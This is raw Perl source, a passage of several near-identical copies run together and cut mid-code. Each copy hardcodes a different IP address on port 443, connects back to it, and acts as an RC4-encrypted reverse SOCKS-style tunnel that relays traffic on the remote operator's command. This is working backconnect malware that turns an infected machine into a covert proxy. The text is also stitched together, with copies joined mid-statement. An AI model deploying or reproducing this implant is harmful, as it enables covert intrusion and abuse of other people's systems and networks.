do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.173'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.172'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.171'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, 